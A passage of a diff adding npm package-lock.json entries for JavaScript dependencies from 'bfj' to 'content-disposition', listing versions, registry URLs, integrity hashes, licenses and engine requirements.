"bluebird": "^3.7.2", + "check-types": "^11.2.3", + "hoopy": "^0.1.4", + "jsonpath": "^1.1.1", + "tryer": "^1.0.1" + }, + "engines": { + "node": ">= 8.0.0" + } + }, + "node_modules/big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", + "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", + "dev": true, + "license": "MIT" + }, + "node_modules/body-parser": { + "version": "1.20.4", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.4.tgz", + "integrity": "sha512-ZTgYYLMOXY9qKU/57FAo8F+HA2dGX7bqGc71txDRC1rS4frdFI5R7NhluHxH6M0YItAP0sHB4uqAOcYKxO6uGA==", + "dev": true, + "license": "MIT", + "dependencies": { + "bytes": "~3.1.2", + "content-type": "~1.0.5", + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "~1.2.0", + "http-errors": "~2.0.1", + "iconv-lite": "~0.4.24", + "on-finished": "~2.4.1", + "qs": "~6.14.0", + "raw-body": "~2.5.3", + "type-is": "~1.6.18", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8", + "npm": "1.2.8000 || >= 1.4.16" + } + }, + "node_modules/body-parser/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/body-parser/node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dev": true, + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/body-parser/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true, + "license": "MIT" + }, + "node_modules/bonjour-service": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/bonjour-service/-/bonjour-service-1.3.0.tgz", + "integrity": "sha512-3YuAUiSkWykd+2Azjgyxei8OWf8thdn8AITIog2M4UICzoqfjlqr64WIjEXZllf/W6vK1goqleSR6brGomxQqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "multicast-dns": "^7.2.5" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", + "dev": true, + "license": "ISC" + }, + "node_modules/brace-expansion": { + "version": "1.1.13", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.13.tgz", + "integrity": "sha512-9ZLprWS6EENmhEOpjCYW2c8VkmOvckIJZfkr7rBW6dObmfgJ/L1GpSYW5Hpo9lDz4D1+n0Ckz8rU7FwHDQiG/w==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browser-process-hrtime": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz", + "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==", + "dev": true, + "license": "BSD-2-Clause" + }, + "node_modules/browserslist": { + "version": "4.28.2", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.2.tgz", + "integrity": "sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "baseline-browser-mapping": "^2.10.12", + "caniuse-lite": "^1.0.30001782", + "electron-to-chromium": "^1.5.328", + "node-releases": "^2.0.36", + "update-browserslist-db": "^1.2.3" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/bser": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz", + "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "node-int64": "^0.4.0" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/builtin-modules": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz", + "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz", + "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.0", + "es-define-property": "^1.0.0", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dev": true, + "license": "MIT", + "dependencies": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "node_modules/camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", + "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/camelcase-css": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", + "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/caniuse-api": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "dev": true, + "license": "MIT", + "dependencies": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001784", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001784.tgz", + "integrity": "sha512-WU346nBTklUV9YfUl60fqRbU5ZqyXlqvo1SgigE1OAXK5bFL8LL9q1K7aap3N739l4BvNqnkm3YrGHiY9sfUQw==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/case-sensitive-paths-webpack-plugin": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/case-sensitive-paths-webpack-plugin/-/case-sensitive-paths-webpack-plugin-2.4.0.tgz", + "integrity": "sha512-roIFONhcxog0JSSWbvVAh3OocukmSgpqOH6YpMkCvav/ySIV3JKg4Dc8vYtQjYi/UxpNE36r/9v+VqTQqgkYmw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/char-regex": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz", + "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/check-types": { + "version": "11.2.3", + "resolved": "https://registry.npmjs.org/check-types/-/check-types-11.2.3.tgz", + "integrity": "sha512-+67P1GkJRaxQD6PKK0Et9DhwQB+vGg3PM5+aavopCpZT1lj9jeqfvpgTLAWErNj8qApkkmXlu/Ug74kmhagkXg==", + "dev": true, + "license": "MIT" + }, + "node_modules/chokidar": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", + "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chokidar/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/chrome-trace-event": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.4.tgz", + "integrity": "sha512-rNjApaLzuwaOTjCiT8lSDdGN1APCiqkChLMJxJPWLunPAt5fy8xgU9/jNOchV84wfIxrA0lRQB7oCT8jrn/wrQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0" + } + }, + "node_modules/ci-info": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.4.0.tgz", + "integrity": "sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/cjs-module-lexer": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.4.3.tgz", + "integrity": "sha512-9z8TZaGM1pfswYeXrUpzPrkx8UnWYdhJclsiYMm6x/w5+nN+8Tf/LnAgfLGQCm59qAOxU8WwHEq2vNwF6i4j+Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/classnames": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.5.1.tgz", + "integrity": "sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==", + "license": "MIT" + }, + "node_modules/clean-css": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-5.3.3.tgz", + "integrity": "sha512-D5J+kHaVb/wKSFcyyV75uCn8fiY4sV38XJoe4CUyGQ+mOU/fMVYUdH1hJC+CJQ5uY3EnW27SbJYS4X8BiLrAFg==", + "dev": true, + "license": "MIT", + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 10.0" + } + }, + "node_modules/clean-css/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/clsx": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", + "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/co": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", + "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">= 1.0.0", + "node": ">= 0.12.0" + } + }, + "node_modules/coa": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/coa/-/coa-2.0.2.tgz", + "integrity": "sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/q": "^1.5.1", + "chalk": "^2.4.1", + "q": "^1.1.2" + }, + "engines": { + "node": ">= 4.0" + } + }, + "node_modules/coa/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/coa/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/coa/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/coa/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true, + "license": "MIT" + }, + "node_modules/coa/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/coa/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/coa/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/collect-v8-coverage": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.3.tgz", + "integrity": "sha512-1L5aqIkwPfiodaMgQunkF1zRhNqifHBmtbbbxcr6yVxxBnliw4TDOW6NxpO8DJLgJ16OT+Y4ztZqP6p/FtXnAw==", + "dev": true, + "license": "MIT" + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/colord": { + "version": "2.9.3", + "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz", + "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==", + "dev": true, + "license": "MIT" + }, + "node_modules/colorette": { + "version": "2.0.20", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz", + "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==", + "dev": true, + "license": "MIT" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "8.3.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/common-tags": { + "version": "1.8.2", + "resolved": "https://registry.npmjs.org/common-tags/-/common-tags-1.8.2.tgz", + "integrity": "sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", + "dev": true, + "license": "MIT" + }, + "node_modules/compressible": { + "version": "2.0.18", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "dev": true, + "license": "MIT", + "dependencies": { + "mime-db": ">= 1.43.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compression": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/compression/-/compression-1.8.1.tgz", + "integrity": "sha512-9mAqGPHLakhCLeNyxPkK4xVo746zQ/czLH1Ky+vkitMnWfWZps8r0qXuwhwizagCRttsL4lfG4pIOvaWLpAP0w==", + "dev": true, + "license": "MIT", + "dependencies": { + "bytes": "3.1.2", + "compressible": "~2.0.18", + "debug": "2.6.9", + "negotiator": "~0.6.4", + "on-headers": "~1.1.0", + "safe-buffer": "5.2.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/compression/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/compression/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true, + "license": "MIT" + }, + "node_modules/compute-scroll-into-view": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/compute-scroll-into-view/-/compute-scroll-into-view-3.1.1.tgz", + "integrity": "sha512-VRhuHOLoKYOy4UbilLbUzbYg93XLjv2PncJC50EuTWPA3gaja1UjBsUP/D/9/juV3vQFr6XBEzn9KCAHdUvOHw==", + "license": "MIT" + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/confusing-browser-globals": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/confusing-browser-globals/-/confusing-browser-globals-1.0.11.tgz", + "integrity": "sha512-JsPKdmh8ZkmnHxDk55FZ1TqVLvEQTvoByJZRN9jzI0UjxK/QgAmsphz7PGtqgPieQZ/CQcHWXCR7ATDNhGe+YA==", + "dev": true, + "license": "MIT" + }, + "node_modules/connect-history-api-fallback": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-2.0.0.tgz", + "integrity": "sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/content-disposition": { + "version": "0.5.4", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", + "integrity": 